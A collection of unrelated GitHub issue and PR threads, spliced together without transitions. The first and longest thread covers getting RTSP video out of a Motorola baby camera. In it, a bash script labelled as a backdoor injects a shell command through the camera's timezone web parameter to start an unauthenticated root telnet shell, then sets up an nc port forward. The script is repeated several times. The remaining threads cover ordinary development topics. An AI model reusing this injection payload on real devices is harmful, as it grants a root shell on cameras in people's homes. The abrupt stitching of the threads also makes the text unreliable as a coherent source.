tcp        0      0 <IP_ADDRESS>:6668            <IP_ADDRESS>:*
If I use this command:
nc -l -p 6668 1>/tmp/recorder/backpipe
it open port 6668, but when I try to connect using vlc, it doesn't works and webcam close connection...

Manually it should be:
telnet cam.lan
Once logged in to the camera, it should be this exact command:
mkfifo /tmp/recorder/backpipe
nc <IP_ADDRESS> 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe
They need to be in a pipe to perform bi-directional comms between the two nc's
I just wrapped this in a loop so it doesn't stop after the first connection disconnects
while true ; do nc <IP_ADDRESS> 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe ; echo hi ; done &

all seems to works fine on webcam cli, but I'm not able to connect?
which credentials are you using? I tried app credentials and root...but don't help...

This exact command to test, it has nothing to do with the apps credentials.
and the username is just "user" and password is just "pass".
vlc 'rtsp://user:pass@<IP_ADDRESS>:6668/blinkhd'  :network-caching=1000 :rtsp-tcp
Try a telnet to
telnet <IP_ADDRESS> 6668
to test the open port, looks like it isn't listening when you get connection refused.

Ok, thanks!
where I have to put script to open RTSP flow every day?

To be honest I didn't alter the camera in any way, which I was actually quite happy about. My Camera would always reboot about 3:00PM, I'd just cron this script a few times over the hour after that, to hack the service back in place:
#!/bin/bash

# Script to backdoor

# Test if telnet is inplace if so, hack is still in place
nc -z cam.lan 23
if [ $? -eq 0 ] ; then
     echo Hack still in place
     exit 0
fi

echo "Setting up telnetd"
curl -m 20 -v -g 'http://cam.lan/?action=command&command=set_city_timezone&value=$(IFS=''%20'';/usr/sbin/telnetd${IFS}-l${IFS}/bin/sh)'

echo "Camera Uptime"
( sleep 2 ; echo 'cat /proc/uptime' ; sleep 2; exit ) | telnet cam.lan | grep -Po '(\d+\.)+\d+ (\d+\.)+\d+' | cut -d' ' -f1 | while read n ; do echo Uptime is  `units -1v "$n seconds" hours`; done

sleep 1

echo "Set up Streaming port redir"
( sleep 2 ; echo "mkfifo /tmp/recorder/backpipe" ; sleep 1 ; trap "" HUP; sleep 1 ; echo '( trap "" HUP; while true ; do nc <IP_ADDRESS> 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe ; done ) >/dev/null 2>/dev/null </dev/null &' ; sleep 2; kill -9 $$ ) | telnet cam.lan

I guess you could add a
 ( while true ; do nc <IP_ADDRESS> 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe ; done ) >/dev/null 2>/dev/null </dev/null &
to the bottom of /mnt/skyeye/msloader_go.sh before the exit 0
But I haven't tried this, I haven't got the camera anymore to test this, and don't blame me if it doesn't work or stops the camera booting! I don't even know if this partition is R/W by default. If I was going down this road I'd probably put this is in a script somewhere (e.g. /mnt/skyeye/bin/rtsphack), test on the cli to see if okay and call this backgrounded from this file msloader_go.sh (i.e.  /mnt/skyeye/bin/rtsphack & before the exit 0) to minimise the risk a bit. But none of this has been tested! This is for someone else to take further if they like.
When I bought this device for quite a lot of money and my partner wouldn't have been happy if I bricked it, so I liked the ability to just apply the hack with no permanent changes to the camera, a reboot would fix anything.

The command
nc <IP_ADDRESS> 6667 0</tmp/recorder/backpipe
,will do nothing on it's own it needs to be in a pipeline with the listening nc and is pointless to run.
It needs to be in a pipeline:
nc <IP_ADDRESS> 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe
i.e. nc is outputing video via the pipe to the nc -l, but the backpipe is taking the output from the server to complete the TCP connection for the server and this goes back into the connecting nc.
This is just a port forward hack, there maybe another way of doing this (better)  on Linux but the CLI isn't very rich on the camera but there maybe another way.
All this is doing is taking port inbound 6668 TCP and port forwarding to port 6667 on loopback <IP_ADDRESS>.
Running this,
netstat -apn | grep 6667
Is the build in process listening on 6667 on the loopback interface, I can't remember even the process name.

ok, thanks.
when I launch nc, I see it on webcam:
tcp    <IP_ADDRESS>:6667      <IP_ADDRESS>:* LISTEN 815/msloader
tcp    <IP_ADDRESS>:6668          <IP_ADDRESS>:* LISTEN 1071/nc
tcp    <IP_ADDRESS>:58730    <IP_ADDRESS>:6667 TIME_WAIT
and only one nc -l -p 6668 process...
but when I launch vlc command, ports remain opened but I see nc process died...I don't understand why?!

If you kill all nc's and rerun the pipeline command what does
ps | grep nc
show?

only one process:
1258 root      nc -l -p 6668

To be honest I found the h264 a bit rough with my camera (quite a lot of bad mpeg packets), I had some horrors like re-encoding it which helped or even worse twice re-encoded with different encoders to fix up.

Same, quality seems poor but it does work. ffplay complains quite a lot about it but it does display

To be honest I found the h264 a bit rough with my camera (quite a lot of bad mpeg packets), I had some horrors like re-encoding it which helped or even worse twice re-encoded with different encoders to fix up.

Same, quality seems poor but it does work. ffplay complains quite a lot about it but it does display

I found the image quality itself okay e.g. resolution and update rate (equal to the app if not better when viewed via VLC), but just the dodgy h264 encode. If this is fixed up by re-encoding it mostly stable.

do you have problem of nc process died when you launch vlc command...?!

@exussum12
If you leave the command in a shell in the foreground you'll see when the first nc dies when you connect.
nc <IP_ADDRESS> 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe

I see first nc died, but died also second nc
how may nc process I have to see?

I see first nc died, but died also second nc
how may nc process I have to see?

That is expected, the nc's should die after a single connection is connected then terminated. This will only allow one connection at a time also.
You can keep it running by putting this in a loop (still a single connection though), to restart the listener, after each connection closes:
 while true ; do nc <IP_ADDRESS> 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe ; done
As I say this is a grotty hack to get some rtsp out of this and a further grotty hack to get port redirection to work with it's  limited CLI toolset.

Or even for debug stick and echo in the loop and see if it's constantly restarting, or (as it should be) just on a reconnection:
while true ; do nc <IP_ADDRESS> 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe ; echo restarting; done

Ok, shell script modified and launched.
when I call VLC, I see to restarting messages in webcam console…

If from another machine you
telnet cam.lan
Trying 192.168.x.y
Connected to localhost.
Escape character is '^]'.
There should be no restarting message until you quit this telnet session.

Hi,

I started the while cycle on webcam
I started vlc client on host A
webcam console say "restarting" two times
I started telnet <IP_ADDRESS> 6668 on host B (closed itself very often)
webcam console say "restarting" one more time

what means?

You tested it on MBP86C?
Which traffic I have to capture?

Mine was an MBP667. Not sure what other @exussum12  has as this works for him too.
I'd have thought a
tcpdump -i intetfacename port 6668 -w /tmp/rtsp.cap
, where interfacename is the ethernet interface use to connect to the camera.
And load and decode the RTSP (if it gets that far) in wireshark.

I have Motorola MBP853 and its working fine

tcpdump -i intetfacename port 6668 -w /tmp/rtsp.cap

rtsp.zip

.118 is my PC and .20 is motorola webcam
I see many reset messages from webcam..

Sadly I just don't see any RTSP traffic from the camera at all. I don't really see why as the ports from msloader look open and should port forward through the named pipe and the standard pipe to the nc process. Sadly I'm at a bit of a loss.

I think it's a trivial problem...I must have done something wrong! :-) I will summarize the following key elements:
tcp        0      0 <IP_ADDRESS>:6667          <IP_ADDRESS>:*               LISTEN
tcp        0      0 <IP_ADDRESS>:6668            <IP_ADDRESS>:*               LISTEN
5126 root       820 S    nc -l -p 6668
5479 root       820 S    grep 666
then I send this command in webcam cli:
nc <IP_ADDRESS> 6667 0/tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe
now what I have to check again?

if I open VLC happen:

process nc -l -p 6668 si died
tcp connection on 6668 port is closed

what am I doing wrong?

I guess to check the FIFO needs to be in place:
rm -f  /tmp/recorder/backpipe
mkfifo /tmp/recorder/backpipe
nc <IP_ADDRESS> 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe

And you had a missing '<' in the above command line but that maybe was just formatting in the forum chat...

I guess to check the FIFO needs to be in place:
rm -f  /tmp/recorder/backpipe
mkfifo /tmp/recorder/backpipe
nc <IP_ADDRESS> 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe

And you had a missing '<' in the above command line but that maybe was just formatting in the forum chat...

great job: now it works!!!!!!!!!!
thanks very muche for your help!!!!!

I guess to check the FIFO needs to be in place:
rm -f  /tmp/recorder/backpipe
mkfifo /tmp/recorder/backpipe
nc <IP_ADDRESS> 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe

And you had a missing '<' in the above command line but that maybe was just formatting in the forum chat...

great job: now it works!!!!!!!!!!
thanks very muche for your help!!!!!

That's good news!

To be honest I didn't alter the camera in any way, which I was actually quite happy about. My Camera would always reboot about 3:00PM, I'd just cron this script a few times over the hour after that, to hack the service back in place:
#!/bin/bash

# Script to backdoor

# Test if telnet is inplace if so, hack is still in place
nc -z cam.lan 23
if [ $? -eq 0 ] ; then
     echo Hack still in place
     exit 0
fi

echo "Setting up telnetd"
curl -m 20 -v -g 'http://cam.lan/?action=command&command=set_city_timezone&value=$(IFS=''%20'';/usr/sbin/telnetd${IFS}-l${IFS}/bin/sh)'

echo "Camera Uptime"
( sleep 2 ; echo 'cat /proc/uptime' ; sleep 2; exit ) | telnet cam.lan | grep -Po '(\d+\.)+\d+ (\d+\.)+\d+' | cut -d' ' -f1 | while read n ; do echo Uptime is  `units -1v "$n seconds" hours`; done

sleep 1

echo "Set up Streaming port redir"
( sleep 2 ; echo "mkfifo /tmp/recorder/backpipe" ; sleep 1 ; trap "" HUP; sleep 1 ; echo '( trap "" HUP; while true ; do nc <IP_ADDRESS> 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe ; done ) >/dev/null 2>/dev/null </dev/null &' ; sleep 2; kill -9 $$ ) | telnet cam.lan

I guess you could add a  ( while true ; do nc <IP_ADDRESS> 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe ; done ) >/dev/null 2>/dev/null </dev/null &
to the bottom of /mnt/skyeye/msloader_go.sh before the exit 0
But I haven't tried this, I haven't got the camera anymore to test this, and don't blame me if it doesn't work or stops the camera booting! I don't even know if this partition is R/W by default. If I was going down this road I'd probably put this is in a script somewhere (e.g. /mnt/skyeye/bin/rtsphack), test on the cli to see if okay and call this backgrounded from this file msloader_go.sh (i.e. /mnt/skyeye/bin/rtsphack & before the exit 0) to minimise the risk a bit. But none of this has been tested! This is for someone else to take further if they like.
When I bought this device for quite a lot of money and my partner wouldn't have been happy if I bricked it, so I liked the ability to just apply the hack with no permanent changes to the camera, a reboot would fix anything.

I tried to use this bash script:

this works fine first time
When RTSP queue died, script is unable to open again queue

What I have to change on script?

I tried to use this bash script:
* this works fine first time

* When RTSP queue died, script is unable to open again queue

What I have to change on script?

The script was a quick knocked together thing as demo. It assumes that if port 23 telnet is still open the camera hasn't rebooted. So multiple runs won't restart the streaming piece as I personally never saw it die.  I guess the first step would be to telnet into the camera and see if the nc's are still running from ps.

Thanks for suggestions! I go to do some test!
do you know right image snapshot URL?

I think this was disabled with a previous firmware update due to security concerns, I don't know this one sadly.

For me could be interesting recover snapshot feature…I don’t know from where I have to start…?!


adding population wcs config and text edits to myanmar layers

this addresses https://github.com/WFP-VAM/prism-frontend/issues/187

@dubwalla maybe give it a more specific title mentioning Myanmar?

@dubwalla maybe give it a more specific title mentioning Myanmar?

done. thanks!


Add new PennyLane bounty

Hi @nathanshammah,
We have selected another bounty in the finish line of unitary HACK. :slightly_smiling_face:
This PR adds the entry for the bounty.

Sorry we didn't get to this in time!


Docker image

Wouldn't it be nice to have this as a docker image? For easier sharing

As long as Docker is not required to run the bot and this is just an optional thing for a user then yes this could be a great idea.

yeah lol


Dont relativize hooks path.

I was trying to use hooks, and relativizing the path here made hooks impossible to load. Tasker loading was already non-relativized.

I will look at it tomorrow morning before the first light. Thanks a lot!

Hi,
I broke the loader spec for hooks, since we compare for paths in "it 'returns the sum of the hooks for a domain'"  and "it 'loads from hooks.json'"
I fixed this on my side by setting a variable that holds the absolute realpath and I prepended it in the spec where needed. I don't see many more options. Is it how you would go about it?

Hello, I will now pull in your work (thanks!) and see if it works as is. Then, if I feel the need, I'll adapt the real path work you've done.


Home Page

In this PR I did the following:

Complete Html structure
Add styling
Render the TV Shows dynamically using TVmaze API (https://www.tvmaze.com/api)
Write a function to show the TV Shows counter in the Header

STATUS: APPROVED! 🍾 🎆 🥇
You did a great job working on this capsone, your project is complete! 🚀
There is nothing else to say other than... it's time to merge it 🤖
Congratulations! 🎉
Cheers, and Happy coding!👏👏👏


Make RPC gas cap configurable

Describe the feature
In https://github.com/paradigmxyz/reth/pull/3260 we started limiting the eth_call and call tracing RPC methods' gas limits using the constant value of 30_000_000 gas. This value should be configurable via both the CLI and config options rpc_gas_cap with the default value of 30_000_000.
Additional context
No response

Hi, I'd like to work on this :)

@leovct oops, that's my typo, changed to 30_000_000. Assigned you, thanks!

While working on it, I noticed that there's a similar issue already opened: https://github.com/paradigmxyz/reth/issues/3233.

While working on it, I noticed that there's a similar issue already opened: #3233. Is this the case or am I mistaken?

It is related, but not the same. We may want to set the default value for rpc_gas_cap via the ChainSpec mentioned in #3233, but as it's not ready now, you can proceed with just using the ETHEREUM_BLOCK_GAS_LIMIT constant.

@leovct any help needed on that issue? Don't hesitate to ask any questions.

@leovct any help needed on that issue? Don't hesitate to ask any questions.

Yeah, I'm a bit stuck at the moment... I managed to add a new argument called rpc-gas-cap in bin/reth/src/args/rpc_server_args.rs and I updated the reth node book reference.
But I can't figure out how to use this value in crates/rpc/rpc/src/eth/revm_utils.rs. I'm not familiar enough with the repository at the moment (and I'm still learning Rust) so I don't know where to look at... Any hints? :)
$ cargo run -- node --help
Start the node

Usage: reth node [OPTIONS]

...

RPC:
      ...
      --rpc-gas-cap <RPC_GAS_CAP>
          Maximum gas limit for `eth_call` and call tracing RPC methods

          [default: 30000000]


Can't not show tickets

Everything works well but, it has not shown tickets. Please help me

You need to add footer section into your master view, please read this wiki on integrating ticket it with your template

OK. Working well. Thanks @thekordy :)

You are welcome

Not work for me in last version, I also put

@yield('footer')


one question from attitude controller

I use the code with v1.9.2.
In the file mc_att_control_main.cpp.I know to use the cascade controller here.But why control_attitude_rates before control_attitude?
I think the angular acceleration controller uses the result of the last angular velocity controller.
Why not run the angular velocity controller first?

High level, for a good control performance the delay from the moment a sensor value is measured until the moment the motor control is sent out is crucial. The smaller this delay, the better (and easier) is the control problem. This is especially true and essential for the attitude rate loop while the other cascaded controllers are less critical.
I believe that's the reason why on a new sensor value, the rate loop runs immediately, so as early as possible and the other controllers later. The other controllers will still produce a rate setpoint but it won't get applied until the next iteration.

Why not run the angular velocity controller first?

Please update to newer PX4 (eg v1.11.0-beta0) and take a look at the controllers and message architecture. The multicopter rate controller is now a standalone module and the primary gyro is filtered and published as vehicle_angular_velocity. This runs as the highest priority thread in the system to minimize end-to-end latency and jitter.


How to enable and then disable on-screen keyboard on Raspberry Pi 3 B

I need to be able to enable then disable the on-screen keyboard when a text input control has focus.
If I go into the Windows Device Portal there is an option called "Show the on-screen keyboard when text input controls have focus". If I check this box, then the onscreen keyboard is displayed and if I remove the check then the keyboard is hidden.
I need to be able to run this code from within my app so that I can control when the keyboard is displayed or stays hidden.
I cannot find the source code for the Windows Device Portal web site. (Running on the Raspberry Pi on port 8080).

I found the registry key that controls this behavior.
It is:
Hive: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\IoTShellExtension\OSK
IsFollowInputFocusEnabled : 1


Minor Go string tweaks based on team feedback

Hi @hililh, could you please consider this PR for suggested string tweaks based on team feedback?

In an email with me, @hililh kindly approved this PR.


Fix the update callback for select with pre-grouped options

In case of pre-grouped options, the update callback returns undefined as value instead of the selected item.
This PR should fix this.

Please rebase and address minor comments, then we're good to merge!

@homu r+

:pushpin: Commit 33928fb has been approved by martndemus

:hourglass: Testing commit 33928fb with merge ce93e4a...

@homu r+

:pushpin: Commit 2664cae has been approved by martndemus

:zap: Test exempted - status


feat: add progress bar buffer

Description
Adds a little buffer for the progress bar to accommodate for a recommended minimum gas fee along with a warning.
Added a new minTransactionBuffer to the nativeAsset config to have custom values for each network.
Type of change

[ ] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] Other

How should this be tested?
Please provide instructions so we can test. Please also list any relevant details for your test configuration.

[ ] Trying clicking "max" (the buffer along with warning should appear)
[ ] Try manually input a value that is close to the "max" (the buffer along with warning should appear)

Checklist:

[ ] I have performed a self-review of my own code
[ ] I have commented my code where relevant, particularly in hard-to-understand areas
[ ] My changes generate no new console warnings
[ ] The base of this PR is master if hotfix, develop if not

@garethfuller all reported issues should be fixed now


Map upload

Can you please complete this checklist to the best of your ability:

[x] Board passes validation script

[ ] Files are in correct folders

[ ] All FRBs pass possible paths check (under 70 iirc)

[ ] All paths are functioning as intended (including doors and yoshi lifts and magmalices)

[ ] There is nowhere you can get stuck and cause a softlock (accounting for warp cards & balloonports)

[ ] All backstreet destinations are as intended

[ ] YAML is formatted correctly

[ ] YAML has author and changelog

[ ] YAML has Author's URL (or doesn't have one if not wanted)

[ ] Files and folders have no special characters / spaces / capitalisations

[ ] Map icon is included, follows existing template, and is correctly implemented in yaml

[ ] Thumbnails for each board state are included (and they're accurate as of the latest versions of the frb files)

[ ] Music is properly implemented and uploaded to server

[ ] All looping music is looping, and all non-looping music isn't looping

[ ] There are exactly 64 venture cards

[ ] IF Venture card 45 is active, then there must be both an arcade & take a break square

[ ] IF Venture card 125 is active, then there must be both an arcade & boon square

[ ] There's nowhere you can get stuck by randomly warping from venture card 83, OR venture card 83 is inactive

[ ] Max dice roll is below 10

[ ] You can't travel between three sets of doors in one roll

IF max dice roll is 9:

[ ] There are no doors.

IF max dice roll is 8:

[ ] There are no two-way doors

[ ] You can't travel between two sets of doors in one roll

IF max dice roll is 7:

[ ] You can't travel between two sets of doors in one roll

[ ] Venture card 87 is inactive

IF max dice roll is 6:

[ ] Venture card 87 is inactive

[ ] Venture card 115 is inactive

[ ] Balloonport test has been completed on emulator OR console

[ ] Balloonport test has been completed on console

[ ] At least three full games of the board have been completed by CPUs (see gecko codes to help speed this up dramatically)

[ ] A full game of the board has been played by humans

[ ] All music has been tested and volumes are OK

If you have any questions please let us know

@MoguAlly Hello! I'm sorry this has taken us so long. I've taken a peek and we're 99% there! I ran it through the new board validation tool I'm working on and the only issue it found was that Max Dice Roll is inconsistent -- it's set to 7 in the yaml file and 8 in the frb file. Would you mind setting these both to the same thing -- whichever number you intended?
Once that's done, I will be glad to merge this PR.


Bug: Handling Rust/Cargo git dependencies

Today I noticed that when I changed my Cargo.toml and updated the Cargo.lock for a git based dependency that Dependency Review Action doesn't show any changes.
https://github.com/advanced-security/codeql-extractor-iac/pull/100#issuecomment-1786941812
The Action and PR Graph should show changes for git based dependencies.
Dependency Graph:

I don't know if this is just a Rust/Cargo issue or other ecosystems are affected by this too.

@GeekMasher Thanks for raising this. Dependency Review API does not support git-based dependencies. Closing!


[Improvement]: Change pipelines by runner type

This change was made in commit https://github.com/thiagoolsilva/android-template/commit/a9f26f65a688da7c5d20a107053e6c86c293410d


feat: per-request async callback functions

Implements some features and fixes for usage in e5.0

Fixes pulsar_producers:clientid/0 typespec.
Async send now returns the PID of the worker that received the request.
Added support for specifying a callback function for each request.

Will tag 0.8.0 after this is merged for use in e5.0.


Have a look at this

This is not an issue.
I admire this project quite much, but please excuse me if I advertise my project here.
A visual brainfuck interpreter online:
Github Page: web page
Github Repo: v-bf-web

Hi, nice project, but I prefer to keep the issue tracker strictly for issues only.


Enable persistent use of long refs

I prefer to use long references always in my markdown files. This is due to the following reasons:

The folder hierarchy gives context to the file name; thus to be able to see it in the link makes the link clearer
IIUC, In a rare case where the user adds a new note into the root of the workspace, and it conflicts with an existing note (residing in one of the subfolders), all existing links to this note start to point to the wrong file (example: 1. [[foo]] points to /bar/foo.md, 2. user adds /foo.md, 3. [[foo]] now points to /foo.md )

This change adds a configuration option to enable persistent use of long refs. By default the behavior stays as currently, but it gives an option to the user to always use long references.

Codecov Report

Merging #131 into master will decrease coverage by 0.33%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##           master     #131      +/-   ##
==========================================
- Coverage   92.39%   92.05%   -0.34%
==========================================
  Files          20       20
  Lines         868      869       +1
  Branches      199      199
==========================================
- Hits          802      800       -2
- Misses         64       67       +3
  Partials        2        2

Impacted Files
Coverage Δ

src/features/completionProvider.ts
91.11% <100.00%> (+0.20%)
:arrow_up:

src/utils/utils.ts
98.66% <0.00%> (-1.34%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 1ff6a7d...3f71fdc. Read the comment docs.

Hey, you probably don't have time, so I'm going to merge this one and do the requested changes on my own. I hope that's fine and thanks for the contribution!

Thanks @svsool , and sorry for the late reply. Merge is absolutely fine, glad to see this incorporated!

Thanks @jojanaho this is super important for me, I got confused for a while until I realized what was happening.

hello @svsool, I saw that this merge didn't make in v0.2.2.
Any chance you would have the time to cut a new release? Thanks, and thanks for memo!

Hello @marco-m-pix4d, v3.0 was released today.
Links format can be changed in the settings:

Hello @svsool, thanks, greatly appreciated! :-)

I have a suggestion on the naming: "absolute" is somehow confusing, because an absolute path is a path that begins at the root of a file system. For Unix, it is a path that begins with /. For memo, it is a path that begins at the root of the vscode workspace. For this reason, I suggest to use "long" instead of absolute. It goes well with "short", and the current description explains well what it is.


BUG: NavBar Styling

Is there an existing issue for this?

[X] I have searched the existing issues

What happened?
###The Black Spot in Nav bar
###The The margin above the Nav Bar Make Nav Bar not sticky to header

###In Drak Mode the Button of Dark mode Change Postion it should be in center

###in Mobile view the size of nav bar is too big and also dark mode btn change postion

Record

[X] I agree to follow this project's Code of Conduct
[X] I'm a GSSOC'24 contributor
[X] I want to work on this issue

@anuragverma108  please assign this issue to be under GSSOC'24

Assigned!
Make sure to attach before & after screenshots in your PR and include the issue number.
Also, please star the repo before working on it. Happy open-source contributing!